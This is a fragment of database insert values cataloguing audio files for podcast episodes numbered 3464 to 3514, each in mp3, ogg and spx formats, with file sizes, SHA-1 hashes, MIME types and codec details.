(3464,'hpr3464.mp3','mp3',6786126,'97ac4c1e4d8e9cd73fce8cf670a90e65e30673d9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3464,'hpr3464.ogg','ogg',7480721,'9586796402ac8cf7f0719a0379c3fb9dc13c6648','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3464,'hpr3464.spx','spx',3030497,'e99e4f7d020a9911b4aba248f432b50e5e162a0e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3465,'hpr3465.mp3','mp3',7563137,'ae863135e3ce3d6fac0c3c12b5301f81ff8c8605','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3465,'hpr3465.ogg','ogg',7978553,'3c79d447b0833c236053bbd42f46e5487762392e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3465,'hpr3465.spx','spx',3377539,'e2e4c0f6f93dcc420ead34bd0cb51156dcc14ad3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3466,'hpr3466.mp3','mp3',5065838,'c9596b9a8e5404a7a3398b1d45cf8b1a9ae83479','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3466,'hpr3466.ogg','ogg',5454934,'109a0de4dfdcdcb2b408e842796c9adbbbed6b6e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3466,'hpr3466.spx','spx',2262223,'a0146ddf03b88a02c8b760eebb244f6cfdbab426','application/ogg; charset=binary','Ogg data, Speex audio'),
(3467,'hpr3467.mp3','mp3',18755781,'a62b1d9a27143a8102a1666d20951ee7b3d00856','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3467,'hpr3467.ogg','ogg',26716617,'4d8a12d4bc37140a829f2bfbd3394f16527aaca5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3467,'hpr3467.spx','spx',8854732,'1df3007fa2566866c52b9582ec1f5b566b5c1073','application/ogg; charset=binary','Ogg data, Speex audio'),
(3468,'hpr3468.mp3','mp3',6947108,'c82ade55c29e4c54f0f3f7a1e6d67a4d5f5930d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3468,'hpr3468.ogg','ogg',8469046,'91547b0e759d8e92d1291666ad678119bcf242d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3468,'hpr3468.spx','spx',3279555,'2c38606e8b7d6ef53e47ca853eb830fc81a22914','application/ogg; charset=binary','Ogg data, Speex audio'),
(3469,'hpr3469.mp3','mp3',33763743,'a9416db5a56e870cc30416aa90a518022f9cb067','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3469,'hpr3469.ogg','ogg',30932223,'df78aaa244e37e547076821b6ef003d7d48e4493','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3469,'hpr3469.spx','spx',15940465,'ef9691a1a044d7f84113054ab84de08a2071b0f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3470,'hpr3470.mp3','mp3',9209511,'17acf4d3f37e7c08a175665978f668c793a55ce8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3470,'hpr3470.ogg','ogg',10444849,'57890f35e9b33c06ba82c9b283c1aa87e1981c4d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3470,'hpr3470.spx','spx',4112860,'57db7e90c143354c921451c21b36a2e93b2f36bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3471,'hpr3471.mp3','mp3',4902664,'84484c6e3c7cd5e3a9ba40a1f3f050778c401928','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3471,'hpr3471.ogg','ogg',5835944,'429f3238c63391b68b3c111342f0dd4bb490626e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3471,'hpr3471.spx','spx',2314371,'5c852247faf91b75c2e1b6974cba5eca0cb3898a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3472,'hpr3472.mp3','mp3',3748227,'36d7a928d9071a1dd2e95d5b44326d585eca2aad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3472,'hpr3472.ogg','ogg',4089819,'2b482d2b0f4c792fb9a15521f26c088a287d6f2f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3472,'hpr3472.spx','spx',1769249,'833284d91b0bd4e26ab31d1ce75750c42b471864','application/ogg; charset=binary','Ogg data, Speex audio'),
(3473,'hpr3473.mp3','mp3',5586220,'9634612ffadf6ca07965c425d0f0ec819c36fe61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3473,'hpr3473.ogg','ogg',6952757,'816e8f5cc6201b950aa3b2a6a0595a513dc88eec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3473,'hpr3473.spx','spx',2637152,'080984676ff941cfbd083c05455eb8a776078735','application/ogg; charset=binary','Ogg data, Speex audio'),
(3474,'hpr3474.mp3','mp3',6021897,'19b82125ff885507ebc07651e19dbb684d891703','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3474,'hpr3474.ogg','ogg',6609447,'36400810d609f2041220744c7da383a6a4c8683a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3474,'hpr3474.spx','spx',2842789,'13a20aca39e81e18f4d6a89e5939e02cc2b1246d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3475,'hpr3475.mp3','mp3',7684161,'5a4b6e3e1d836002c2c1a34f282a09a21cbe14df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3475,'hpr3475.ogg','ogg',11243193,'f94cbe8f94f3f94ca461df662e5c2fef8f1295d4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3475,'hpr3475.spx','spx',3627574,'875cb6b78846aa7b2ea54f5612c20c816b49f754','application/ogg; charset=binary','Ogg data, Speex audio'),
(3476,'hpr3476.mp3','mp3',6774418,'ea6170cef36c7e062c19563ab8f243a9c34b13cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3476,'hpr3476.ogg','ogg',7365181,'9f969600ba9fa014e952212db145f140c06de27d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3476,'hpr3476.spx','spx',3198038,'dbe2d7dc4eb219a794a0886939eb9531f790439a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3477,'hpr3477.mp3','mp3',11158514,'ed5d36beafde203f386805826e736fe572629e7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3477,'hpr3477.ogg','ogg',16596319,'138490fbb17b511eb582e5247a620986ceee6c4c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3477,'hpr3477.spx','spx',5267838,'b646e49d0fdb51f55b7b95ae1d0db6d5da10c31b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3478,'hpr3478.mp3','mp3',9400059,'48d97dd7bf8178c10fb43ce4b37e2c83448f91b6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3478,'hpr3478.ogg','ogg',12903008,'625c38707ef162330d2cdd4b4a0d82924790b007','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3478,'hpr3478.spx','spx',4437721,'4555b02fdb2b554b10c402928132555ed1b23895','application/ogg; charset=binary','Ogg data, Speex audio'),
(3479,'hpr3479.mp3','mp3',27967592,'f87f8925a0bf1ae7e861dbde1053462915e098fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3479,'hpr3479.ogg','ogg',36202954,'2f44954cdf3e8523fd7174b3b72f1dfdd42d53c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3479,'hpr3479.spx','spx',13203894,'f44c979b88ee3075b8dbccd6ad4a89ec34dcafa8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3480,'hpr3480.mp3','mp3',8180243,'310bfc2007a01fd5dd4ce38b527001f0dd4d1567','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3480,'hpr3480.ogg','ogg',9322851,'009b9b79b4de40afdd81b86a2156f28d7923a7b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3480,'hpr3480.spx','spx',3653059,'721ce4dd5aafd1dbcb0f8268fa41868c8139b7e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3481,'hpr3481.mp3','mp3',45760251,'ddc478a8f32df10c34ceb1215007afd4e46bcf15','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3481,'hpr3481.ogg','ogg',59416272,'e9ed6ac175091c4eb333b6f5e78599e10fcedf87','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3481,'hpr3481.spx','spx',21604261,'2ce63492c8e178bf935da25a1e660926cd060880','application/ogg; charset=binary','Ogg data, Speex audio'),
(3482,'hpr3482.mp3','mp3',7134642,'f05f01b58df991676072eef33e9a420f62169a83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3482,'hpr3482.ogg','ogg',10297180,'2bb52e3f9ed55318fd276cf5bf5e5703e81ab761','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3482,'hpr3482.spx','spx',3368146,'e5f800d1aabf0833fb2f454f1787f6780e5f07ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(3483,'hpr3483.mp3','mp3',4381893,'b1270e6cff80360319d84ef5e5037f59e7c765f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3483,'hpr3483.ogg','ogg',6223874,'54c2f1bbe6ce5eec9bfb81ec4f920c4b993a34f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3483,'hpr3483.spx','spx',2068513,'cbb6d55f917563f1b2dd5b2c80b609bfe07111de','application/ogg; charset=binary','Ogg data, Speex audio'),
(3484,'hpr3484.mp3','mp3',4664318,'45a54239b896baa4028faab5fdc814a93a2fcd87','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3484,'hpr3484.ogg','ogg',6284500,'983b5e801818d56ddfc643c7a3c37526926d0e12','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3484,'hpr3484.spx','spx',2201826,'4ea1eb1a11ef112458fd73258fd0c187e96106cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3485,'hpr3485.mp3','mp3',6636597,'63f9e3144385c2672e51fc4cf9a9c49cfcedf889','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3485,'hpr3485.ogg','ogg',6952120,'90fbc6c84e5e82651d44264af3c60a1b09891cc1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3485,'hpr3485.spx','spx',3133034,'da0a22393b13d5c9372c0dfd8bce560a9830072d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3486,'hpr3486.mp3','mp3',4787453,'06133e8cab1da53a69687cd28cf8ba6fd3bd4728','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3486,'hpr3486.ogg','ogg',6629589,'b329ced614ec9606def21557ac759f1a3d4b483f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3486,'hpr3486.spx','spx',2259996,'f82de6403d222e580422c9abb05adfc5314ff4ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(3487,'hpr3487.mp3','mp3',12228746,'f748fdabff77847b6b0bc1dc289ab12989170ec5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3487,'hpr3487.ogg','ogg',16755320,'3cdc0d40db7eb6dd75d322fc684ed1856dcb86bb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3487,'hpr3487.spx','spx',5773230,'f0cc5b17db16f32f37920a2f0b8a271b9b2195d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3488,'hpr3488.mp3','mp3',15522742,'860787674e43813f77b259c62c53e96c81535560','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 320 kbps, 48 kHz, Stereo'),
(3488,'hpr3488.ogg','ogg',25291080,'46eb92e73da0fcdc5cae81f281c597e9c6c8e270','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~499821 bps, created by: Xiph.Org libVorbis I'),
(3488,'hpr3488.spx','spx',1524167,'769d5b759e004d118feae98299f05be4975676cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3489,'hpr3489.mp3','mp3',6862535,'79e6536e94869c63b0b9a95c4634abeeca896fdd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3489,'hpr3489.ogg','ogg',9206392,'8be17e882f079aee8f4c44df8675df5006cb27d9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3489,'hpr3489.spx','spx',3239685,'b081f1b780e107b0642d13b072097f483384bc74','application/ogg; charset=binary','Ogg data, Speex audio'),
(3490,'hpr3490.mp3','mp3',8360989,'dd8e1819cf8ff191c89de6690f241618d461ebce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3490,'hpr3490.ogg','ogg',9458437,'34c5a2708b90a2957836d631f79a8e7cb77dcc2f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3490,'hpr3490.spx','spx',3733781,'8d6461532d76db1aefc33be45071f066863260f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3491,'hpr3491.mp3','mp3',13084828,'4c57d8c2a5ac5dc74770b8a0fa32a1b6044a150d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3491,'hpr3491.ogg','ogg',14581925,'6c44326ccbcf850d8e68620ac09cc583b628a33f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(3491,'hpr3491.spx','spx',6177328,'1b9f440b1c02980f925ad913b57c51c8d83cdf1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3492,'hpr3492.mp3','mp3',26016894,'16a956fb9d25a07e40ffd09fec14a829bd55c7c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3492,'hpr3492.ogg','ogg',33843099,'fe2b3e7f595a1efdbe66c81cce14579cfb807a86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3492,'hpr3492.spx','spx',12282928,'12a95b2484fb6f947c16ef643f280deff1266774','application/ogg; charset=binary','Ogg data, Speex audio'),
(3493,'hpr3493.mp3','mp3',3070023,'40b38c07d7cf6a2b2838e1fb2ff0404c0b57d31c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3493,'hpr3493.ogg','ogg',4316176,'6646588e0f4603ef4d4e290b535ce69658cb6082','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3493,'hpr3493.spx','spx',1449151,'502accb0e21976075b797b4ecf830f86b4ec3e55','application/ogg; charset=binary','Ogg data, Speex audio'),
(3494,'hpr3494.mp3','mp3',9301197,'ee9f71903c2b9d9529816c32c70ec48123ce3975','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3494,'hpr3494.ogg','ogg',12432810,'d0b43f05b6dd82804803d861a2e92d3bcc422fa5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3494,'hpr3494.spx','spx',4391065,'2edd4fd1540e1ee69ac5c97a5c08e9c9cec5a70f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3495,'hpr3495.mp3','mp3',1395359,'bf1416eecade45e36ba277e11e6f3eaf0281e3b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3495,'hpr3495.ogg','ogg',2008992,'3f97a4a5d80852fc839e1389c124096323c6ae3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3495,'hpr3495.spx','spx',658443,'56e6f72e4e891d10bf432d60b034b6a53ca113a5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3496,'hpr3496.mp3','mp3',14310215,'1be8ddf73bc73b6af0f1bdf3241212764e39a754','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3496,'hpr3496.ogg','ogg',20824314,'ee62ec9d7787c4553f59f9be3fdaf2151fb126a3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3496,'hpr3496.spx','spx',6755847,'f1c77465c8ba48b1b80403e26d781934dd536809','application/ogg; charset=binary','Ogg data, Speex audio'),
(3497,'hpr3497.mp3','mp3',10860207,'5bc00ba1f78d6bcff078868bd5180dc30001f3e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3497,'hpr3497.ogg','ogg',15296508,'d41adf474938f75691d2c66dc2754059a3e8ffc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3497,'hpr3497.spx','spx',5127025,'194eb25ac07ec28c8ce73d1a54322285ffb72d83','application/ogg; charset=binary','Ogg data, Speex audio'),
(3498,'hpr3498.mp3','mp3',65266107,'85bfa19436b467ed0b6963ad01ac8a411ecbcdae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3498,'hpr3498.ogg','ogg',83946042,'42b8c3b07ed60f5bb092b052ecd650c6075b287f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3498,'hpr3498.spx','spx',30813514,'f9a9e2e096ad92e94dd34759c89bb1172c29e996','application/ogg; charset=binary','Ogg data, Speex audio'),
(3499,'hpr3499.mp3','mp3',2767768,'b0c2a59c2e8a0254813708d5712923700db05fb5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3499,'hpr3499.ogg','ogg',3965870,'f92dcf9fd6c44e78751c269849ab2d0600225bdc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3499,'hpr3499.spx','spx',1306403,'8d5bb47a8cf2a79b5ba650b29dee3088df675f1b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3500,'hpr3500.mp3','mp3',9282823,'60a552b400060ed3798d0233a809752fbef1f000','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3500,'hpr3500.ogg','ogg',10461418,'fdb6dab0f8b02821c08b3e8fcbe9b2cbafcf96dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3500,'hpr3500.spx','spx',4145483,'0525be23b53a617aaa1131c696d69a5503d15379','application/ogg; charset=binary','Ogg data, Speex audio'),
(3501,'hpr3501.mp3','mp3',35251516,'0cb43e6f0d680cf71321fa536a6eddd15ca4717e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3501,'hpr3501.ogg','ogg',47215819,'c75474fa6e9425f41d1841281c4877d30af0b1b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3501,'hpr3501.spx','spx',16642811,'54772b8e5c9d2ca0e847b3df2b7807ebdd629bf1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3502,'hpr3502.mp3','mp3',2985149,'adb6ea37499431a8865d3d3486c93279adc9e379','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3502,'hpr3502.ogg','ogg',4152765,'1d8c3b1aaf84c58e6dd4c59925022b447b40b8e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3502,'hpr3502.spx','spx',1409094,'adda4d1f0e58e81eb18d58e6ade0a1bba57d1ead','application/ogg; charset=binary','Ogg data, Speex audio'),
(3503,'hpr3503.mp3','mp3',7908777,'71ef4f3b6b05682eeb40d80e5d13fed246d3f114','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3503,'hpr3503.ogg','ogg',10883419,'1cdcd968589e0379407ff98960203fe18084fc87','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3503,'hpr3503.spx','spx',3733681,'a5001c3e7fc67b989eb5b539371f302b2483a972','application/ogg; charset=binary','Ogg data, Speex audio'),
(3504,'hpr3504.mp3','mp3',22401103,'ef07e3a375ce6490f9e1810ecb1bd1e70794f85e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3504,'hpr3504.ogg','ogg',30286770,'38e1c656c0ab6536c1c85be253a33a4d119fe214','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3504,'hpr3504.spx','spx',10575827,'57024f8b5b0dd783026ff06e39549673e9d663df','application/ogg; charset=binary','Ogg data, Speex audio'),
(3505,'hpr3505.mp3','mp3',23778553,'0783951c732158f9df20ff41edf35f17276d4d8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3505,'hpr3505.ogg','ogg',31687554,'bbd3bf2f46eea4c0dcc342dba7c7177d85100522','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3505,'hpr3505.spx','spx',11226215,'19b6e2d8a4963490d016696e200d771b21993f09','application/ogg; charset=binary','Ogg data, Speex audio'),
(3506,'hpr3506.mp3','mp3',1608623,'d06a0aebc569f115b06514386029c265a3b3ead5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3506,'hpr3506.ogg','ogg',2248442,'24f73f59300708ffa836e8eac6f1c9286e39ad4d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3506,'hpr3506.spx','spx',759147,'0fed9e16600f8d29902d3a51094e7c14c28b038b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3507,'hpr3507.mp3','mp3',4879592,'0bfca33070f06d5d5dd839735499724aa2763dd0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3507,'hpr3507.ogg','ogg',7011979,'d1b89a99b47774c9857f7efd79c0dac9714f7c7f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3507,'hpr3507.spx','spx',2303472,'007dccadd9f804567e7e30f471f7667d2f58d7ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(3508,'hpr3508.mp3','mp3',14351716,'3c280b3f77dffdc62d4e9bd870309c800d98a270','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3508,'hpr3508.ogg','ogg',18817621,'6558abd1a2b354b66732268c149de9e8e901b6bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3508,'hpr3508.spx','spx',6775436,'f8e02df1574d001d6ee780a93891f6e475a928bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3509,'hpr3509.mp3','mp3',35178138,'63c9a89bfd1a36f35e8fb287bcb00d9d91524105','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3509,'hpr3509.ogg','ogg',45663612,'2c81d02a3a6454888662787c5eab9da1214b80fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3509,'hpr3509.spx','spx',16608184,'d461ae451fea58b868dc08d5cbe704519a7787a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3510,'hpr3510.mp3','mp3',10873409,'5695a144ea13ebc5cf4ae1a87736f79b56095c5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3510,'hpr3510.ogg','ogg',12374762,'dcfc418969d9472993935b3c01c986469853dfdf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3510,'hpr3510.spx','spx',4855943,'6c3482ab6bc3bf73e4acdc56d252a6335157fae2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3511,'hpr3511.mp3','mp3',9941242,'38788ea07233c40c4b5802e09191e562483dc260','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3511,'hpr3511.ogg','ogg',13992855,'e23a49a2c795b3bbca23ef1a4797dbf784ec5f38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3511,'hpr3511.spx','spx',4693217,'cd4d56b66eb61fe13d26b7930324ff488a624fc9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3512,'hpr3512.mp3','mp3',5931906,'69de3ebb3ed82de7ab2cd5cd5081f01c50a223e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3512,'hpr3512.ogg','ogg',8696362,'9b2afac102b11f29a4d790b77c27e6112a0675b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3512,'hpr3512.spx','spx',2800273,'7249075b64304c7e8a54205b5e5fe4564a955306','application/ogg; charset=binary','Ogg data, Speex audio'),
(3513,'hpr3513.mp3','mp3',21415034,'a6390a149f1f4c796956fa4fdb8e703c01546f3a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3513,'hpr3513.ogg','ogg',29097670,'ba072c43f32ab7aefcee013477e705a56a928c0f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3513,'hpr3513.spx','spx',10110249,'6eaf2e42bdc89a3476c28ecee2923de7a542af6e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3514,'hpr3514.mp3','mp3',10818112,'2b1c835c2c99592f687f76a020067c02bac794fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3514,'hpr3514.ogg','ogg',15089014,'6387bb21b3c28321a153d1f07a7e0a0e82872d70','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3514,'hpr3514.spx','spx',5107193,'deaafda0f621213deca30fd98ea134f5b63bf0c1','application/ogg; charset=binary','Ogg data, Speex audio'),
